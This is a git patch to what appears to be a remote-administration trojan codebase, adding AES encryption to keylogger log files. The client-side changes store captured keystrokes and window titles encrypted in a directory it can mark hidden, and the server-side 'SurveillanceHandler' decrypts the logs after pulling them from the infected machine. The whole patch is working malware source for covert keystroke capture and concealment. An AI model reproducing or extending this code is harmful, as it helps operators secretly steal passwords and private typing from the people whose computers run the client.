From 4b0466d5be584fb514693c91a2a9d2856c6a2fc8 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 18 Sep 2015 21:22:29 +0200 Subject: [PATCH] Added encrypted Keylogger Logs (#396) --- Client.Tests/Core/Encryption/AES.Tests.cs | 4 +- Client/Core/Cryptography/AES.cs | 14 +++--- Client/Core/Helper/FileHelper.cs | 28 +++++++++++ Client/Core/Utilities/Keylogger.cs | 51 +++++++++------------ Client/Program.cs | 2 +- Server.Tests/Core/Encryption/AES.Tests.cs | 4 +- Server/Core/Commands/SurveillanceHandler.cs | 41 +++++++++++------ Server/Core/Cryptography/AES.cs | 14 +++--- Server/Core/Helper/FileHelper.cs | 27 +++++++++++ Server/Forms/FrmKeylogger.cs | 1 - Server/Forms/FrmMain.cs | 2 +- Server/Forms/FrmSettings.cs | 4 +- 12 files changed, 126 insertions(+), 66 deletions(-) diff --git a/Client.Tests/Core/Encryption/AES.Tests.cs b/Client.Tests/Core/Encryption/AES.Tests.cs index 87c21dc6..6bf4d813 100644 --- a/Client.Tests/Core/Encryption/AES.Tests.cs +++ b/Client.Tests/Core/Encryption/AES.Tests.cs @@ -14,7 +14,7 @@ namespace xClient.Tests.Core.Encryption var input = FileHelper.GetRandomFilename(100); var password = FileHelper.GetRandomFilename(50); - AES.PreHashKey(password); + AES.SetDefaultKey(password); var encrypted = AES.Encrypt(input); @@ -33,7 +33,7 @@ namespace xClient.Tests.Core.Encryption var inputByte = Encoding.UTF8.GetBytes(input); var password = FileHelper.GetRandomFilename(50); - AES.PreHashKey(password); + AES.SetDefaultKey(password); var encryptedByte = AES.Encrypt(inputByte); diff --git a/Client/Core/Cryptography/AES.cs b/Client/Core/Cryptography/AES.cs index 28da51e4..b090c80d 100644 --- a/Client/Core/Cryptography/AES.cs +++ b/Client/Core/Cryptography/AES.cs @@ -9,13 +9,13 @@ namespace xClient.Core.Cryptography public static class AES { private const int IVLENGTH = 16; - private static byte[] _key; + private static byte[] _defaultKey; - public static void PreHashKey(string key) + public static void SetDefaultKey(string key) { using (var md5 = new MD5CryptoServiceProvider()) { - _key = md5.ComputeHash(Encoding.UTF8.GetBytes(key)); + _defaultKey = md5.ComputeHash(Encoding.UTF8.GetBytes(key)); } } @@ -31,7 +31,7 @@ namespace xClient.Core.Cryptography public static byte[] Encrypt(byte[] input) { - if (_key == null || _key.Length == 0) throw new Exception("Key can not be empty."); + if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); byte[] data = input, encdata = new byte[0]; @@ -40,7 +40,7 @@ namespace xClient.Core.Cryptography { using (var ms = new MemoryStream()) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _key }) + using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) { aesProvider.GenerateIV(); @@ -102,7 +102,7 @@ namespace xClient.Core.Cryptography public static byte[] Decrypt(byte[] input) { - if (_key == null || _key.Length == 0) throw new Exception("Key can not be empty."); + if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); byte[] data = new byte[0]; @@ -111,7 +111,7 @@ namespace xClient.Core.Cryptography { using (var ms = new MemoryStream(input)) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _key }) + using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) { byte[] iv = new byte[IVLENGTH]; ms.Read(iv, 0, IVLENGTH); // read first 16 bytes for IV, followed by encrypted message diff --git a/Client/Core/Helper/FileHelper.cs b/Client/Core/Helper/FileHelper.cs index e5d7909e..4034de66 100644 --- a/Client/Core/Helper/FileHelper.cs +++ b/Client/Core/Helper/FileHelper.cs @@ -1,6 +1,8 @@ using System; using System.IO; using System.Text; +using xClient.Config; +using xClient.Core.Cryptography; using xClient.Core.Data; using xClient.Core.Utilities; @@ -144,5 +146,31 @@ namespace xClient.Core.Helper return false; } } + + /// + /// Appends text to a log file. + /// + /// The filename of the log. + /// The text to append. + public static void WriteLogFile(string filename, string appendText) + { + appendText = ReadLogFile(filename) + appendText; + + using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) + { + byte[] data = AES.Encrypt(Encoding.UTF8.GetBytes(appendText)); + fStream.Seek(0, SeekOrigin.Begin); + fStream.Write(data, 0, data.Length); + } + } + + /// + /// Reads a log file. + /// + /// The filename of the log. + public static string ReadLogFile(string filename) + { + return File.Exists(filename) ? Encoding.UTF8.GetString(AES.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + } } } diff --git a/Client/Core/Utilities/Keylogger.cs b/Client/Core/Utilities/Keylogger.cs index b503727a..7c756de6 100644 --- a/Client/Core/Utilities/Keylogger.cs +++ b/Client/Core/Utilities/Keylogger.cs @@ -245,7 +245,7 @@ namespace xClient.Core.Utilities { bool writeHeader = false; - string fileName = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy")); + string filename = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy")); try { @@ -254,47 +254,40 @@ namespace xClient.Core.Utilities if (!di.Exists) di.Create(); - if(Settings.HIDELOGDIRECTORY) + if (Settings.HIDELOGDIRECTORY) di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; - if (!File.Exists(fileName)) + if (!File.Exists(filename)) writeHeader = true; - using (FileStream fileStream = new FileStream(fileName, FileMode.Append, FileAccess.Write)) + StringBuilder logFile = new StringBuilder(); + + if (writeHeader) { - using (StreamWriter sw = new StreamWriter(fileStream)) - { - try - { - if (writeHeader) - { - sw.WriteLine("Log created on " + - DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "

"); + logFile.Append( + "Log created on " + + DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "

"); - // Write out our coloring scheme that will be used by the elements - // generated by the logger, and display paragaphs without line breaks - // h = Denotes highlighted text (blue color). - sw.WriteLine(""); + logFile.Append(""); - if (_logFileBuffer.Length > 0) - sw.Write(_logFileBuffer); - - _lastWindowTitle = string.Empty; - } - else - sw.Write(_logFileBuffer); - } - catch - { - } - } + _lastWindowTitle = string.Empty; } + + if (_logFileBuffer.Length > 0) + { + + logFile.Append(_logFileBuffer); + } + + FileHelper.WriteLogFile(filename, logFile.ToString()); + + logFile.Clear(); } catch { } - _logFileBuffer = new StringBuilder(); + _logFileBuffer.Clear(); } } } \ No newline at end of file diff --git a/Client/Program.cs b/Client/Program.cs index 241f3596..98c79524 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -90,7 +90,7 @@ namespace xClient if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect return false; - AES.PreHashKey(Settings.PASSWORD); + AES.SetDefaultKey(Settings.PASSWORD); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); diff --git a/Server.Tests/Core/Encryption/AES.Tests.cs b/Server.Tests/Core/Encryption/AES.Tests.cs index f9fcd3ef..57619467 100644 --- a/Server.Tests/Core/Encryption/AES.Tests.cs +++ b/Server.Tests/Core/Encryption/AES.Tests.cs @@ -14,7 +14,7 @@ namespace xServer.Tests.Core.Encryption var input = FileHelper.GetRandomFilename(100); var password = FileHelper.GetRandomFilename(50); - AES.PreHashKey(password); + AES.SetDefaultKey(password); var encrypted = AES.Encrypt(input); @@ -33,7 +33,7 @@ namespace xServer.Tests.Core.Encryption var inputByte = Encoding.UTF8.GetBytes(input); var password = FileHelper.GetRandomFilename(50); - AES.PreHashKey(password); + AES.SetDefaultKey(password); var encryptedByte = AES.Encrypt(inputByte); diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index cbf82a02..51197dee 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -3,6 +3,7 @@ using System.IO; using System.Linq; using System.Threading; using xServer.Core.Data; +using xServer.Core.Helper; using xServer.Core.Networking; using xServer.Core.Packets.ClientPackets; using xServer.Core.Packets.ServerPackets; @@ -130,25 +131,37 @@ namespace xServer.Core.Commands destFile.AppendBlock(packet.Block, packet.CurrentBlock); - if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) + if ((packet.CurrentBlock + 1) == packet.MaxBlocks) { - FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); - - if (iFiles.Length == 0) - return; - - foreach (FileInfo file in iFiles) + try + { + File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath)); + } + catch { - if (client.Value == null || client.Value.FrmKl == null) - break; - - client.Value.FrmKl.AddLogToListview(file.Name); } - if (client.Value == null || client.Value.FrmKl == null) - return; + if (packet.Index == packet.FileCount) + { + FileInfo[] iFiles = + new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); - client.Value.FrmKl.SetGetLogsEnabled(true); + if (iFiles.Length == 0) + return; + + foreach (FileInfo file in iFiles) + { + if (client.Value == null || client.Value.FrmKl == null) + break; + + client.Value.FrmKl.AddLogToListview(file.Name); + } + + if (client.Value == null || client.Value.FrmKl == null) + return; + + client.Value.FrmKl.SetGetLogsEnabled(true); + } } } diff --git a/Server/Core/Cryptography/AES.cs b/Server/Core/Cryptography/AES.cs index d2b19079..67d0fcd6 100644 --- a/Server/Core/Cryptography/AES.cs +++ b/Server/Core/Cryptography/AES.cs @@ -9,13 +9,13 @@ namespace xServer.Core.Cryptography public static class AES { private const int IVLENGTH = 16; - private static byte[] _key; + private static byte[] _defaultKey; - public static void PreHashKey(string key) + public static void SetDefaultKey(string key) { using (var md5 = new MD5CryptoServiceProvider()) { - _key = md5.ComputeHash(Encoding.UTF8.GetBytes(key)); + _defaultKey = md5.ComputeHash(Encoding.UTF8.GetBytes(key)); } } @@ -31,7 +31,7 @@ namespace xServer.Core.Cryptography public static byte[] Encrypt(byte[] input) { - if (_key == null || _key.Length == 0) throw new Exception("Key can not be empty."); + if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); byte[] data = input, encdata = new byte[0]; @@ -40,7 +40,7 @@ namespace xServer.Core.Cryptography { using (var ms = new MemoryStream()) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _key }) + using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) { aesProvider.GenerateIV(); @@ -102,7 +102,7 @@ namespace xServer.Core.Cryptography public static byte[] Decrypt(byte[] input) { - if (_key == null || _key.Length == 0) throw new Exception("Key can not be empty."); + if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); byte[] data = new byte[0]; @@ -111,7 +111,7 @@ namespace xServer.Core.Cryptography { using (var ms = new MemoryStream(input)) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _key }) + using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) { byte[] iv = new byte[IVLENGTH]; ms.Read(iv, 0, IVLENGTH); // read first 16 bytes for IV, followed by encrypted message diff --git a/Server/Core/Helper/FileHelper.cs b/Server/Core/Helper/FileHelper.cs index 5e4b3978..94bf334b 100644 --- a/Server/Core/Helper/FileHelper.cs +++ b/Server/Core/Helper/FileHelper.cs @@ -2,6 +2,7 @@ using System.IO; using System.Linq; using System.Text; +using xServer.Core.Cryptography; namespace xServer.Core.Helper { @@ -102,5 +103,31 @@ namespace xServer.Core.Helper return 10; } } + + /// + /// Appends text to a log file. + /// + /// The filename of the log. + /// The text to append. + public static void WriteLogFile(string filename, string appendText) + { + appendText = ReadLogFile(filename) + appendText; + + using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) + { + byte[] data = AES.Encrypt(Encoding.UTF8.GetBytes(appendText)); + fStream.Seek(0, SeekOrigin.Begin); + fStream.Write(data, 0, data.Length); + } + } + + /// + /// Reads a log file. + /// + /// The filename of the log. + public static string ReadLogFile(string filename) + { + return File.Exists(filename) ? Encoding.UTF8.GetString(AES.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + } } } diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs index 5dce86ef..413a3f49 100644 --- a/Server/Forms/FrmKeylogger.cs +++ b/Server/Forms/FrmKeylogger.cs @@ -3,7 +3,6 @@ using System.IO; using System.Windows.Forms; using xServer.Core.Helper; using xServer.Core.Networking; -using xServer.Core.Utilities; namespace xServer.Forms { diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 7af4db71..3a7b6efc 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -43,7 +43,7 @@ namespace xServer.Forms { Instance = this; - AES.PreHashKey(Settings.Password); + AES.SetDefaultKey(Settings.Password); #if !DEBUG if (Settings.ShowToU) diff --git a/Server/Forms/FrmSettings.cs b/Server/Forms/FrmSettings.cs index 6da2d40b..3d58780f 100644 --- a/Server/Forms/FrmSettings.cs +++ b/Server/Forms/FrmSettings.cs @@ -73,7 +73,7 @@ namespace xServer.Forms { try { - AES.PreHashKey(password); + AES.SetDefaultKey(password); if (chkUseUpnp.Checked) { @@ -143,7 +143,7 @@ namespace xServer.Forms Settings.AutoListen = chkAutoListen.Checked; Settings.ShowPopup = chkPopup.Checked; if (password != Settings.Password) - AES.PreHashKey(password); + AES.SetDefaultKey(password); Settings.Password = password; Settings.UseUPnP = chkUseUpnp.Checked; Settings.ShowToolTip = chkShowTooltip.Checked;